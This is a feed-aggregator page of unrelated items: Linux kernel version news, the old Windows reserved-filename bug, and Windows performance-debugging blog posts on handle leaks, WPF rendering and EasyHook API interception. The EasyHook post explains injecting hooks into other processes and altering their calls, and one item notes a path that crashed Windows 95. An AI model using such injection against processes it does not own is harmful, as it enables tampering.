Next Page: 10000

          Linux 5 llegará a principios de 2019      Cache   Translate Page      

Por si alguien no se ha enterado, hace un par de semanas que Linus Torvalds volvió a sus labores al frente de Linux y en ello está, coordinando el desarrollo de la próxima versión del kernel, después de que Greg Kroah-Hartman se encargase de lanzar Linux 4.19 LTS . ¿Cuál será esa versión, preguntas? Linux […]

La entrada Linux 5 llegará a principios de 2019 se publicó primero en MuyComputer.


          Más antiguo que Star Wars: el bug de Windows que lleva más de 40 años sin solucionarse       Cache   Translate Page      

Más antiguo que Star Wars: el bug de Windows que lleva más de 40 años sin solucionarse #source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000

Los bugs son tan antiguos como la informática o la programación, y prácticamente ningún sistema operativo, firmware o software que potenciara a dispositivos ha estado exento de ellos. En ese sentido, muchos nacen y permanecen en los equipos durante años sin que nadie los perciba, mientras que otros llegan a causa de limitaciones o hacks del momento en que se escribe el código.

@Foone, un usuario de Twitter, ha contado la historia de un bug nacido en 1974 y que aún permanece en Windows 10, como consecuencia de contar en su interior con la base del CP/M de Gary Kildall y el Q-DOS de Tim Paterson. Mientras intentaba copiar el archivo ‘aux.h’, el sistema lanzó un error anunciando que "el fichero AUX.H es demasiado grande para el sistema de archivos de destino". Todo ello, pese a contar sólo con 9,57 kilobytes. Es muy poco desde la perspectiva actual, pero mucho para la época.

Un bug eterno, en aras de la compatibilidad

El origen del problema está en los archivos especiales presentes en carpetas especiales de Unix. En el viejo sistema, según @Foone, "todo era un archivo", algo que Kildall llevó a CP/M en 1974. Sin embargo, al estar CP/M diseñado para ordenador de 8-bit, con muy poco memoria, sin discos duros, no se usaban directorios, sino distintos discos. Al no haber directorios, los ficheros están en todo el disco. Así, según el ejemplo,para imprimir un archivo había que ejecutar "PIP LST:=FOO.TXT", que lo que hace es copiar FOO.TXT al archivo LST, la impresora. Toda referencia a un archivo de impresora o teclado podía adquirir su extensión, por lo que LST.TXT seguía funcionando como impresora.

Todo esto también existió en Q-DOS y PC-DOS, y para no romper la compatibilidad con versiones antiguas del sistema, los archivos especiales estarían ahora en todos los directorios con todas las extensiones. Así fue en Windows 95, basado en DOS. Luego la base fue Windows NT, que llega hasta estos días, y que en XP, de nuevo para garantizar compatibilidad, hizo uso del antiguo sistema de DOS.

Así, en Windows 10, por ejemplo, no es posible crear un archivo .txt que haga referencia a hardware: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. Microsoft lo recoge aquí.

En Windows 95, de hecho, como @Foone cuenta, acceder a "C:\con\con" producía una BSOD de forma automática. En cualquier caso, hay debate sobre si es un bug o no. En este caso, hablamos de un bug a día de hoy, porque ya no usamos el hardware de esa forma, pero no en su momento, cuando tenía bastante sentido.


          Linus Torvalds: Linux 4.20-rc1      Cache   Translate Page      

Miután Greg KH visszaadta a gyeplőt, Linus a beolvasztási időablak bezárásával kiadta a 4.20-as kernel első prepatchét. Várhatóan ez lesz az utolsó 4.x kernel, jövő év elején Linus már 5-tel kezdődő kernelverziószámot tervez:

So I did debate calling it 5.0, but if we all help each other, I'm sure we can count to 20. It's a nice round number, and I didn't want to make a pattern of it. I think 5.0 happens next year, because then I *really* run out of fingers and toes.

Részletek a bejelentésben.


          Remote Lead Kernel Engineer      Cache   Translate Page      
A cloud computing company is filling a position for a Remote Lead Kernel Engineer. Individual must be able to fulfill the following responsibilities: Acting as the hands on technical leader for the kernel engineering team Developing and deploying changes and new features to the kernel Working with security to evaluate and mitigate new kernel level threats Required Skills: Experience developing for the Linux kernel, either professionally or strong open source contributions Familiarity with the Linux kernel including but not limited to the network stack, filesystems, scheduler, etc Ability to work with stakeholders within engineering, security, and product Willingness to learn and tenacity (we have tracked down CPU bugs!) Strong proficiency in C and comfort with x86 architecture An eye for correctness and performance, in that order
           Influence of cementitious materials and aggregates content on compressive strength of palm kernel shell concrete       Cache   Translate Page      
Alengaram, U.J. and Jumaat, M.Z. and Mahmud, H. (2008) Influence of cementitious materials and aggregates content on compressive strength of palm kernel shell concrete. Journal of Applied Sciences, 8 (18). pp. 3207-3213. ISSN 18125654
           Ductility behaviour of reinforced palm kernel shell concrete beams       Cache   Translate Page      
Alengaram, U.J. and Jumaat, M.Z. and Mahmud, H. (2008) Ductility behaviour of reinforced palm kernel shell concrete beams. European Journal of Scientific Research, 23 (3). pp. 406-420. ISSN 1450216X
           Evaluation of nitrogen sources for growth and production of medium-chain-length poly-(3-Hydroxyalkanoates) from palm kernel oil by pseudomonas putida PGA1       Cache   Translate Page      
Annuar, M.S.M. and Tan, I.K.P. and Ramachandran, K.B. (2008) Evaluation of nitrogen sources for growth and production of medium-chain-length poly-(3-Hydroxyalkanoates) from palm kernel oil by pseudomonas putida PGA1. Asia Pacific Journal of Molecular Biology and Biotechnology. ISSN 0128-7451
          Linus Torvalds iniciou o desenvolvimento do kernel 4.20      Cache   Translate Page      
Linus Torvalds iniciou o desenvolvimento do kernel 4.20

Linus Torvalds iniciou o desenvolvimento do kernel 4.20, ou seja, o kernelk 5.0 não veio ainda, pelo menos, não neste ano. Confira os detalhes e entenda.

Leia o restante do texto "Linus Torvalds iniciou o desenvolvimento do kernel 4.20"

O post Linus Torvalds iniciou o desenvolvimento do kernel 4.20 apareceu primeiro em Blog do Edivaldo.


          Easy Handle Leak Detection Without A Debugger      Cache   Translate Page      

Originally posted on: http://blog.freestylecoding.com/akraus1/archive/2016/03/14/173308.aspx

Finding handle leaks in all processes at once for all handle types without a debugger is no longer impossible. Since Windows 8.1 (0?) each handle creation and close call is instrumented with an ETW event. You only need to turn it on, execute your use case for some minutes or hours if you really need to and then stop the recording.

To start full handle tracing you need to install the Windows Performance Toolkit from the Windows 10 SDK or WDK. Then enter in an Administrator shell

  • wpr -start Handle
  • Execute your use case
  • wpr -stop c:\temp\Handle.etl

Then you can open the resulting .ETL file with WPA and add the graph Handles - Outstanding Count by Process to your analysis view.

image

Now you can filter for your process (e.g. in my case I did start Visual Studio). The original view gives me a system wide view of all processes which did allocate handles.

image

That is a nice view but if you are after a handle leak you need to Create Stack. No problem. Right click on the table header and add the Create Stack to the column list. Then you should load the symbol from MS and add your local symbol paths

image

With the call stacks you can drill into the allocation stack of any handle and search for your leak:

image

The graph nicely shows the not yet freed handles but the table shows all allocations which can be a bit confusing when you search for the not yet released handles. For big handle leaks the existing view is already enough but if you need in the table to drill down only into call stacks of not yet released handles you need to add a filter to exclude all lines in the table which have released a handle before the trace was stopped.

More Details

To add that filter click on the open the gear icon or press Ctrl+E:

image

Because we are doing advanced things we click on the Advanced icon

image

and there we can finally add the trace end time which is visible at the bottom of the WPA main window

image

Now the graph and the table is updated which now only shows the handles which have not been released since the start of Visual Studio in our example which should match the number of allocated handles shown by Task Manager.

image

You can also get more fancy. Normally I have some test which shows after some time a handle leak in a specific process. I start leak tracing and then the test and later I stop it. Since I do not want to treat first time initialization effects as leaks I can exclude the e.g. first 5 minutes of the test to get rid of first time init effects. I also want to make sure that I do not get handles as leaks which are allocated at the end because the test was still running at the end of the trace. To do that I need to look for recurring patterns in the trace and exclude all allocated handles which were created at some later time when the test run was just complete. The final result is a filter which hides all entries which match

[Close Time]:<"20,861s" OR [Create Time]:<"5s" OR [Create Time]:>"15s"

After all noise is removed any handle leak, even small ones are only a matter of drilling into the allocation call stacks and fixing the code. If you have a handle leak on a Windows 8.1 (0?) or later machine this approach is much easier and faster than to use Windbg and the !htrace command which is nicely explained at https://blogs.technet.microsoft.com/yongrhee/2011/12/19/how-to-troubleshoot-a-handle-leak/.

Why So Late?

I have no idea why this very useful capability of WPA was never documented anywhere. It showed up in the Windows 8 SDK years ago but Handle leak tracing did never work because I was at that time still with Windows 7.

Which Handle Type did I Leak?

The easiest way is to use another tool. Process Hacker is a Process Explorer clone which can show for any process a nice summary. Double click on a process and select the Statistics tab:

image

When you click on Details you can sort by Handle Count and you immediately know for which handle type you are searching a leak:

image

PerfView for Advanced Recording

The only other tool I know of which can enable handle leak tracing is PerfView v1.9 from 2/19/2016 or later

image

PerfView has the unique capability to stop tracing based on a performance counter threshold. This is extremely useful to find e.g. a sudden handle spike which occurs during a stress test over night at 5 a.m. in the morning but when you arrive at 6 a.m. (you are already too late Zwinkerndes Smiley) at the office the handle spike will long be overwritten by newer handle allocations of the 500MB ring buffer. Now you can get your breakfast and arrive relaxed at 9 a.m where you can start analyzing the random handle spike which your colleagues were missing while they were sitting in front of Windbg over night and present the results at 10 a.m in the morning to your manager.

The only issue I have with PerfView is that its performance counter query is locale sensitive which makes it not trivial to specify it on e.g. a Hungarian machine. For the record: On my German machine I can start Handle leak tracing which stops when the performance counter for the the first devenv instance has a value greater than 2000 handles with

  • perfview collect c:\temp\HandleLeak.etl /kernelEvents=Handle /StopOnPerfCounter:"Prozess:Handleanzahl:devenv>2000"

The feature finally seems to have been set free with the Windows 10 SDK but handle leak tracing exists also since Windows 8.1 (0?) in the kernel but no tool was capable to enable it until now. Before that ETW feature Handle leaks have been quite hard to track down but with such advanced and pretty easy to use tooling it is just a matter of two command line calls to get all allocated handles from all processes in one go.

If you leak User (Windows, Menus, Cursors, …) or GDI objects (Device Contexts, Brushes, Fonts, …) you still need to resort to intercepting the corresponding OS methods in your target process like I have shown in Generic Resource Leak Detection with ETW and EasyHook but as usual you need to use the right tool for the job at hand to nail all bugs of your application.

Conclusions

With the addition of ETW tracing to handle allocations it has never been so easy to solve handle leaks. Previously it was a pretty complex undertaking but now you can follow the steps above and you will have a nearly 100% fix rate if you analyze the gathered data correctly. If this has helped you to solve a long searched leak or you have other useful information you want to share sound off in the comments.


          The Case of Slow WPF Rendering in a WinForms Application      Cache   Translate Page      

Originally posted on: http://blog.freestylecoding.com/akraus1/archive/2016/02/27/172993.aspx

I had an interesting case where a new WPF control was added to a legacy WinForms application. The WPF control worked perfectly in a test application but for some strange reason it was very slow in final WinForms application where it was hosted with the usual System.Windows.Forms.Integration.ElementHost. The UI did hang and one core was always maxed out. Eventually it built up after some minutes but even simple button presses did cause 100% CPU on one core for 20s. If you have high CPU consumption the vegetative reaction of a developer is to attach a debugger and break into the methods to see where the issue is. If you use a real debugger like Windbg you can use the !runaway command to find the threads with highest CPU usage

0:006> !runaway
User Mode Time
  Thread       Time
   0:368       0 days 0:00:11.625
   4:13a0      0 days 0:00:06.218
   6:301c      0 days 0:00:00.000
   5:21c8      0 days 0:00:00.000
   3:3320      0 days 0:00:00.000
   2:20e4      0 days 0:00:00.000
   1:39a0      0 days 0:00:00.000

but when I tried to break into the I was always just waiting for window messages:

# ChildEBP RetAddr  Args to Child             
00 0018f0d0 5cb1e13a dcd9ca4a 72f7a424 0018f370 USER32!NtUserWaitMessage+0xc
01 0018f154 5cb1db39 00000000 ffffffff 00000000 System_Windows_Forms_ni+0x1ae13a
02 0018f1a8 5cb1d9b0 024d09e4 1bda0002 00000000 System_Windows_Forms_ni+0x1adb39
03 0018f1d4 5cb06129 024d09e4 0018f29c 00000000 System_Windows_Forms_ni+0x1ad9b0
04 0018f1ec 00bc048b 02444410 0018f204 72f71396 System_Windows_Forms_ni+0x196129

Eventually I would find some non waiting stacks but it was not clear if these were the most expensive ones and why. The problem here is that most people are not aware that the actual drawing happens not in user mode but in an extended kernel space thread. Every time you wait in NtUserWaitMessage the thread on the kernel side can continue its execution but you cannot see what's happening as long as you are only looking at the user space side.

If debugging fails you can still use a profiler. It is about time to tell you some well hidden secret of the newest Windows Performance Toolkit. If you record profiling data with WPR/UI and enable the profile Desktop composition activity new views under Video will become visible when you open the trace file with WPA. Most views seem to be for kernel developers but one view named Dwm Frame Details Rectangle By Type is different. It shows all rectangles drawn by Dwm (the Desktop Window Manager). WPA shows not only the flat list of updated rectangles and its coordinates but it draws it in the graph for the selected time region. You can use this view as poor mans screenshot tool to visually correlate the displayed message boxes and other windows with the performed user actions. This way you can visually navigate through your ETL and see what windows were drawn at specific points in your trace!

image

That is a  powerful capability of WPA which I was totally unaware until I needed to analyze this WPF performance problem. If you are more an xperf fan you need to add to your user mode providers list

    • Microsoft-Windows-Dwm-Core:0x1ffff:0x6

and you are ready to record pretty much any screen rectangle update. This works only on Windows 8 machines or later. Windows 7 knows the DWM-Core provider but it does not emit the necessary events to draw the dwm rectangles in WPA. The rectangle drawing feature of WPA was added with the Win10 SDK Release of December 2016. Ok so we see more. Now back to our perf problem. I could see that only two threads are involved consuming large amounts of CPU in the UI thread and on the WPF render thread for a seemingly simple screen update. A little clicking around in the UI would cause excessive CPU usage. Most CPU is used in the WPF rendering thread

ntdll.dll!_RtlUserThreadStart
ntdll.dll!__RtlUserThreadStart
kernel32.dll!BaseThreadInitThunk
wpfgfx_v0400.dll!CPartitionThread::ThreadMain
wpfgfx_v0400.dll!CPartitionThread::Run
wpfgfx_v0400.dll!CPartitionThread::PresentPartition
wpfgfx_v0400.dll!CComposition::Present
wpfgfx_v0400.dll!CSlaveHWndRenderTarget::Present
wpfgfx_v0400.dll!CDesktopHWNDRenderTarget::Present
wpfgfx_v0400.dll!CDesktopRenderTarget::Present
wpfgfx_v0400.dll!CSwRenderTargetHWND::Present
wpfgfx_v0400.dll!CSwPresenter32bppGDI::Present
wpfgfx_v0400.dll!CMILDeviceContext::BeginRendering
user32.dll!NtUserGetDC
ntdll.dll!LdrInitializeThunk
ntdll.dll!_LdrpInitialize
wow64.dll!Wow64LdrpInitialize
wow64.dll!RunCpuSimulation
wow64cpu.dll!Thunk0Arg
wow64cpu.dll!CpupSyscallStub
ntoskrnl.exe!KiSystemServiceCopyEnd
win32kbase.sys!NtUserGetDC
ntoskrnl.exe!ExEnterPriorityRegionAndAcquireResourceShared
win32kbase.sys!_GetDCEx
wpfgfx_v0400.dll!CMILDeviceContext::EndRendering
user32.dll!ReleaseDC
user32.dll!NtUserCallOneParam
ntdll.dll!LdrInitializeThunk
ntdll.dll!_LdrpInitialize
wow64.dll!Wow64LdrpInitialize
wow64.dll!RunCpuSimulation
wow64cpu.dll!ServiceNoTurbo
wow64.dll!Wow64SystemServiceEx
wow64win.dll!whNtUserCallOneParam
wow64win.dll!ZwUserCallOneParam
ntoskrnl.exe!KiSystemServiceCopyEnd
win32kfull.sys!NtUserCallOneParam
ntoskrnl.exe!ExReleaseResourceAndLeavePriorityRegion
ntoskrnl.exe!KiCheckForKernelApcDelivery
ntoskrnl.exe!KiDeliverApc
win32kfull.sys!NormalAPCInvalidateCOMPOSITEDWnd
win32kbase.sys!EnterCrit …

If that does not make much sense to you, you are in good company. The WPF rendering thread is rendering a composite window (see CComposition::Present) which seems to use a feature of Windows which also knows about composite Windows. After looking with Spy on the actual window creation parameters of the hosting WinForms application

image

it turned out that the Windows Forms window had the WS_EX_COMPOSITED flag set. I write this here as if this is flat obvious. It is certainly not. Solving such problems always involves asking more people about their opinion what could be the issue. The final hint that the WinForms application had this extended style set was discovered by a colleague of me. Nobody can know everything but as a team you can tackle pretty much any issue.

A little googling reveals that many people before me had also problems with composite windows. This flag does basically inverse the z-rendering order. The visual effect is that the bottom window is rendered first. That allows you to create translucent windows where the windows below your window shine through as background. WPF uses such things for certain visual effects.

That is enough information to create a minimal reproducer of the issue. All I needed was a default Windows Forms application which hosts a WPF user control. The complete zipped sample can be found on Onedrive.

    public partial class Form1 : Form
    {
        protected override CreateParams CreateParams
        {
            get
            {
                CreateParams cp = base.CreateParams;
                cp.ExStyle |= 0x02000000;  // Turn on WS_EX_COMPOSITED
                return cp;
            }
        }

        public Form1()
        {
            InitializeComponent();
            cWPFHost.Child = new UserControl2();
        }
    }

The WPF user control is also very simple

    public partial class UserControl2 : UserControl
    {
        public UserControl2()
        {
            InitializeComponent();
            this.Loaded += UserControl2_Loaded;
        }

        void UserControl2_Loaded(object sender, RoutedEventArgs e)
        {
            HwndSource hwnd = System.Windows.PresentationSource.FromVisual(this) as HwndSource;
            HwndTarget target = hwnd.CompositionTarget;
            target.RenderMode = RenderMode.SoftwareOnly;
        }
    }

To get the high CPU issue three things need to come together

  1. Hosting window must have set the WS_EX_COMPOSITED window style.
  2. WPF child window must use composition.
  3. WPF child window must use software rendering.

When these three conditions are met then you have a massive WPF redraw problem. It seems that two composite windows cause some loops while rendering inside the OS deep in the kernel threads where the actual rendering takes place. If you let WPF use HW acceleration it seems to be ok but I have not measured how much GPU power is then wasted. Below is a screenshot of the sample Winforms application:

 

image

After was found the solution was to remove the WS_EX_COMPOSITED window style from the WinForms hosting window which did not need it anyway.

Media Experience Analyzer

The problem was solved but it is interesting to see the thread interactions happening while the high CPU issue is happening. For that you can use a new tool of MS named Media Experience Analyzer (XA) which was released in Dec 2015 but the latest version is from Feb 2016. If you have thought that WPA is complex then you have not yet seen how else you can visualize the rich ETW data. This tool is very good at visualizing thread interactions in a per core view like you can see below. When you hover over the threads the corresponding context switch and ready thread stacks are updated on the fly. If you zoom out it looks like a star field in Star Trek just with more colors.

image

If you want to get most out of XA you can watch the videos a Channel 9 which give you a pretty good understand how Media Experience Analyzer (XA) can be used

When should you use WPA and when Media Experience Analyzer?

So far the main goal of XA seems to be to find hangs and glitches in audio and video playback. That requires a thorough understanding of how the whole rendering pipeline in Windows works which is huge field on its own. But it can also be used to get a different view on the data which is not so easy to obtain in WPA. If threads are ping ponging each other this tool makes it flat obvious. XA is already powerful but I am not following entirely its UI philosophy where you must visually see the issue in the rendered data. Most often tabular data like in WPA is more powerful because you can sort by columns and filter away specific call stacks which seems not to be possible with XA. What I miss most in XA is a simple process summary timeline like in the first screenshot. XA renders some nice line graphs but that is not very helpful to get a fast overview of the total CPU consumption. If you look at the complete trace with the scheduler events and the per process CPU consumption in

XA

image

WPA

image

I am having a much easier time in WPA to identify my process with the table and color encoding. In XA you always need to hover over the data to see it actual value. A killer feature in XA would be a thread interaction view for a specific process. Ideally I would like to see all threads as bars and the bar length is either the CPU or wait time. Currently I can only see one thread color encoded on which core it is running. This is certainly the best view for device driver devs but normally I am not interested in a per core view but a per thread timeline view. Each thread should have a specific y-value and the horizontal bar length should show either its running or waiting time (or both) and with a line the readying thread as it is already done today.

That would be the perfect thread interaction view and I hope that will be added to XA. The current version is still a 1.0 so expect some crashes and bugs but it has a lot of potential. The issues I encountered so far are

  • If you press Turn Symbol Off while is still loading it crashes.
  • The ETL file loading time is very high because it seem to include some private MS symbol servers where the UI hangs for several minutes (zero CPU but a bit network IO).
  • UI Redraws for bigger (>200MB) ETL files are very slow. Most time seems to be spent in the GPU driver.
  • Spelling error in Scheduler view: Drivers, Processes, Threads per Core with Reaady threads.

XA certainly has many more features I have not yet found. The main problem with these tools is that the written documentation only touches the surface. Most things I have learned by playing around with the tools. If you want share your experiences with WPA or XA please sound off in the comments. Now stop reading and start playing with the next cool tool!


          Generic Resource Leak Detection with ETW and EasyHook      Cache   Translate Page      

Originally posted on: http://blog.freestylecoding.com/akraus1/archive/2016/01/30/172079.aspx

When you are tracking down handle or other leaks you usually need to resort to Windbg which is a great tool for unmanaged code but not so much for managed code because the usual stuff like !htrace only get the unmanaged call stack.  For managed code this approach breaks because you will not see which managed callers did allocate or free a handle. Other Windbg approaches like putting a breakpoint and then print out the handle and the call stack at the allocate/free methods work, but for heavily called methods they slow down the application too much. A much easier and faster approach is to hook the methods in question and write out an ETW event for each acquire/release call where the ETW infrastructure takes care of walking the stack. To hook specific exported methods I usually use EasyHook which is a great library to hook into pretty much any C style exported method.

Below I present a generic way to use hooking of resource acquire and release methods and tracing them with ETW which enables a generic way to track down any resource leakage as long as the necessary functions are within the reach of an API interception framework. To my knowledge that was not done before in any public library and I take therefore credit to make this approach public. Perhaps I have invented this approach but one never knows for sure.

EasyHook Introduction

EasyHook lets you define managed callbacks to intercept publicly exported methods of any processes. In the managed callback you can extend the functionality of an existing API or trace method arguments which is more often the case. If you have e.g. an executable which exports a method named Func which takes 5 arguments and returns an int like

extern "C" int WINAPI Func(int *a, int *b, int *c, int *d, int *e)
{
    *a = 1;
    *b = 2;
    *c = 3;
    *d = 4;
    *e = 5;
    return 1234;
}

you can write in managed code an interceptor for it which additionally needs a matching delegate and a PInvoke signature of the original method

        [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)]
        unsafe delegate int FuncDelegate(int* a, int* b, int* c, int* d, int* e);

        [DllImport("UnmanagedWithExports.exe", CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
        unsafe static extern int Func(int* a, int* b, int* c, int* d, int* e);
 
        unsafe static int Func_Hooked(int* a, int* b, int* c, int* d, int* e)
        {
            int lret = Func(a, b, c, d, e);
            return lret;
        }

To override in the target process you need to execute

        FuncHook = LocalHook.Create(LocalHook.GetProcAddress("UnmanagedWithExports.exe", "Func"), new FuncDelegate(Func_Hooked), this);
        FuncHook.ThreadACL.SetExclusiveACL(null);

The Hook creation is self explanatory but the hook is  disabled for all threads by default. You can either specify a list of threads for which the hook should be enabled ( LocalHook.ThreadACL.SetInclusiveACL(...) ) or you can configure a list of threads for which it should be disabled ( LocalHook.ThreadACL.SetExclusiveACL(…) ). By calling SetExclusiveACL with a null list or new int [] { 0 } which is not a valid thread number you are effectively enabling the hook for all threads.

That was the whirlwind tour into EasyHook which makes it really easy to tap into otherwise unreachable parts of code execution. Most Windows APIs are prepared to be hooked so you can intercept pretty much anything. In practice all C style exported methods are usually within your reach. With that new capability you can do previously impossible things like

  • Write a generic resource leak detection tool which tracks every resource acquire and release call.
  • Export a dummy method in your C++ dll which is called from code where previously sporadic bugs did happen. E.g. trace each invocation of the dummy method which passes internal state variables from the sporadically failing method. 
    • Now you can hook the empty method and intercept the method calls with full call stacks during your automated builds only on the machines where it did occur with minimal overhead.
  • Record the passed parameters to any exported method without the need to change the source code (which you probably don't have anyway) of this method.
  • Alter method arguments at runtime (e.g. redirect file open calls to other files).
  • ….

If you try it out you will find that the interception part works pretty well but for some reason the call stack for x64 processes looks broken when you inspect it in the debugger. We only see the managed intercepted call but no stack frames from our callers:

0:000> kc
 # Call Site
00 EasyHook64!LhPatchHookReturnAddress
01 EasyHook64!LhBarrierBeginStackTrace
02 0x0
03 0x0
04 0x0
05 0x0
06 clr!UM2MThunk_WrapperHelper
07 clr!UM2MThunk_Wrapper
08 clr!Thread::DoADCallBack
09 clr!UM2MDoADCallBack
0a clr!UMThunkStub
0b 0x0
0c 0x0
0d 0x0
0e 0x0
0f 0x0
10 0x0
11 0x0
12 0x0
13 0x0
14 0x0
15 0x0
16 0x0

but it should show our callers as well which should look like
0:000> kc
 # Call Site
00 EasyHook64!LhPatchHookReturnAddress
01 EasyHook64!LhBarrierBeginStackTrace
02 0x0
03 0x0
04 0x0
05 0x0
06 clr!UM2MThunk_WrapperHelper
07 clr!UM2MThunk_Wrapper
08 clr!Thread::DoADCallBack
09 clr!UM2MDoADCallBack
0a clr!UMThunkStub
0b UnmanagedWithExports!main
0c UnmanagedWithExports!__tmainCRTStartup
0d KERNEL32!BaseThreadInitThunk
0e ntdll!RtlUserThreadStart

The problem comes from the fact that under 64 bit stack walking works differently than under 32 bit. When the Windows x64 calling convention was defined the engineers wanted to get rid of the exception handling overhead in the happy code path unlike in the Windows x86 execution model. With x86 every method which contains an exception handler needs to set their exception handler  callback even if no exception ever happens.

In contrast to that x64 code has zero overhead in terms of code execution speed no matter how many exception handlers are present in any method! To make that possible in x64 all code must additionally register exception unwind information structures which describe the stack layout and their exception handlers for every part of the function until function exit to enable proper stack unwinding by parsing the additional metadata if an exception is about to be thrown.

x64 Stack Walking and Unwind Information

The exception unwind information is also used by the stackwalker which is part of the reason why our stack is broken. To intercept method calls EasyHook copies assembly code to a memory location which acts as trampoline code for our managed hook callback. This assembler trampoline code has no associated exception unwind information which is a problem if you try to step with a debugger through a hooked method. I tried to add the missing exception unwind information to the dynamically emitted assembler code by patching EasyHook. This led down into the dark corners of assembler ABI in function Prologue and Epilogue.

Here are some links with further information if you are interested:

It took a while to wrap my head around it since it was not clear how to verify that the unwind info registration was correct. Luckily Windbg has a nice command to show you for any address the associated Unwind Information. The command is call .fnent xxx. xxxx is the method address. Below is the output of Windbg for the trampoline assembler code with the now dynamically added Unwind Information:

0:000> .fnent 7ff6`79fa0318
Debugger function entry 0000003a`d75be570 for:

BeginAddress      = 00000000`00000318
EndAddress        = 00000000`000003c9
UnwindInfoAddress = 00000000`00000274

Unwind info at 00007ff6`79fa0274, 22 bytes
  version 1, flags 0, prolog 2d, codes f
  frame reg 5 (rbp), frame offs 00h
  00: offs 26, unwind op 8, op info 3    UWOP_SAVE_XMM128 FrameOffset: 50 reg: xmm3.
  02: offs 21, unwind op 8, op info 2    UWOP_SAVE_XMM128 FrameOffset: 40 reg: xmm2.
  04: offs 1c, unwind op 8, op info 1    UWOP_SAVE_XMM128 FrameOffset: 30 reg: xmm1.
  06: offs 17, unwind op 8, op info 0    UWOP_SAVE_XMM128 FrameOffset: 20 reg: xmm0.
  08: offs 12, unwind op 3, op info 0    UWOP_SET_FPREG.
  09: offs e, unwind op 2, op info c    UWOP_ALLOC_SMALL.
  0a: offs a, unwind op 0, op info 5    UWOP_PUSH_NONVOL reg: rbp.
  0b: offs 9, unwind op 0, op info 9    UWOP_PUSH_NONVOL reg: r9.
  0c: offs 7, unwind op 0, op info 8    UWOP_PUSH_NONVOL reg: r8.
  0d: offs 5, unwind op 0, op info 2    UWOP_PUSH_NONVOL reg: rdx.
  0e: offs 4, unwind op 0, op info 1    UWOP_PUSH_NONVOL reg: rcx.

If you need to do it by yourself you can look at https://github.com/Alois-xx/EasyHook/blob/develop/DriverShared/LocalHook/install.c in method AddUnwindInfos

By using the Windbg stack commands (k and related) I could immediately see if I was on the right track. If you want to see correct x64 method examples you can check out any C/C++ x64 compiler output to see what is possible. The dumpbin tool can also display the exception unwind infos with

dumpbin /unwindinfo dddd.exe/.dll

for any executable or dll.

The version 1 unwind codes are only necessary to describe the function Prologue which is sufficient to reconstruct the stack layout of all saved registers at any time in a method. If you have more exotic Epilogues you need to describe them with specific Unwind codes as well which were introduced with Windows 10 (I guess)? The Unwind Info version 2 is not documented at MSDN anywhere yet but you can have a look at a small snippet of the Windows Kernel stack unwinder which is copied into CoreCLR at: https://github.com/dotnet/coreclr/blob/master/src/unwinder/amd64/unwinder_amd64.cpp. See the methods OOPStackUnwinderAMD64::UnwindEpilogue, OOPStackUnwinderAMD64::VirtualUnwind and related.

After adding correct unwind codes stack walking did work only up to certain point where it still got corrupted because EasyHook repeatedly replaces the return address of the current method with the CLR stub and the backpatch routine to reset the old return address after our managed hook returns. During this time the stack is by definition not walkable because the return address of our caller is not even present on the stack while we are executing our managed callback. To get out of this EasyHook already provides a solution by replacing as direct return address the original hook entry point temporarily to make the stack walkable again. But that works only while we are in a hook handler in  terms of EasyHook speak. That means that we can restore the stack only before we call the hooked method. After that we cannot restore the return location anymore. That is a problem if we want to log the returned arguments of a hooked method (e.g. the actual handle value of CreateWindow, CreateFile, …). Since I know that our current return address must be the hook specific assembler code to restore the original caller address I did extend  NativeAPI.LhBarrierBeginStackTrace and NativeAPI.LhBarrierEndStackTrace of EasyHook to locate the hook stub code and to replace it with the original entry point of the first hooked function of the current thread. After that change EasyHook is able to get you into a state where the stack is fully walkable before and after you call the hooked method for x64 and x86.

Unfortunately the x64 ETW Stackwalker of Windows 7 stops on any method which has no matching loaded module (e.g. trampoline hook code and JITed code) so this is still not working with ETW events in Windows 7. But custom ETW events with proper Unwind Infos will work on Windows 8 or later. I still wish that MS would fix the Windows 7 ETW stackwalker because this also breaks profiling JITed x64 code on Windows 7 machines. 32 bit code works though since Windows 7.

Generic ETW Resource Tracing

At the time of writing you can see the changes on my EasyHook fork at https://github.com/Alois-xx/EasyHook/commits/develop. I hope that the changes will get into the main line of EasyHook soon. I still have left out an important aspect of a generic ETW leak tracer. How should we trace it so it is easy to diagnose with WPA? WPA for Windows 10 can graph custom event data if they are numeric and non hexadecimal Sum columns. We need to trace every resource acquire and release. Usually you get back some handle so this should be included as well. The resource could be something big like a bitmap which has  a specific memory size so it makes sense to trace the allocation size as well. The basic ETW trace calls should therefore have the form

    AcquireResource(ulong Handle, long AllocSize, string Allocator)
    ReleaseResource(ulong Handle, long AllocSize, string Allocator)

With such an API we can trace for CreateFile, CreateWindow, … and such with a simple ETW trace call all relevant information. For simple handle based resources where no metadata is available how big they are it makes sense to use 1 in the Aquire call as allocation size and -1 for the Release call. If all Aquire and Release calls for the Allocator e.g. CreateWindow are balanced out the WPA Sum column for the total allocation size (Field 2) will balance out to zero. If there is a leak we will see a positive excess in WPA for which we can filter.

 

image

Here we see e.g. that our free method which seems to do the wrong thing seems to release sometimes with an allocation size of zero 68 times which is exactly the number of outstanding allocation size which is graphed in Field 2.

As an example for CreateWindow we would issue

   AcquireResource(windowHandle, 1, "CreateWindow")

and for each hooked DestroyWindow call we would trace

   ReleaseResource(handle, -1, "DestroyWindow")

You can use the tool ETWstackwalk as a simple window handle leak detector which is now part of my EasyHook fork. You need to compile ETWStackwalk.exe as Administrator under x64 to register the ETW manifest. You get then something like this as output.

Window Handle Leak Tracing

ETWStackwalk is part of EasyHook which serves as demonstration what can be done with it. Here is its help output

ETWStackWalk.exe v1.0.0.0 by Alois Kraus 2016
Injects an ETW tracer to external processes to find resource leaks. Works for x64 since Win 8 or later. Works for 32 bit processes since Windows 7.
ETWStackWalk [-hook [createfile] [-outfile xxx.etl] [createwindow]] [-debug] [-help] [-pid ddd] [-start executable with optionalargs]
   -help                 This message
   -hook                 Hook specified methods to trace handle leaks.
                         createwindow Intercept Create/DestroyWindow calls.
                         createfile   Intercept CreateFile calls.
   -outfile xxxx.etl     Output file name to which the hook tracing data will be written to. Default is %temp%\ResourceLeaks.etl
   -pid ddd              Hook into specified process
